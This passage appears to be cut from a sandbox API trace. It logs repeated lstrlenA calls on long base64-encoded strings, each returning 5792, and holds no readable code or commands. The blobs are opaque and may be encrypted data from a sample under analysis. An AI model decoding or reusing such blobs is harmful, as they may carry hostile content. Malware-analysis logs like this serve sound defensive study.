LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="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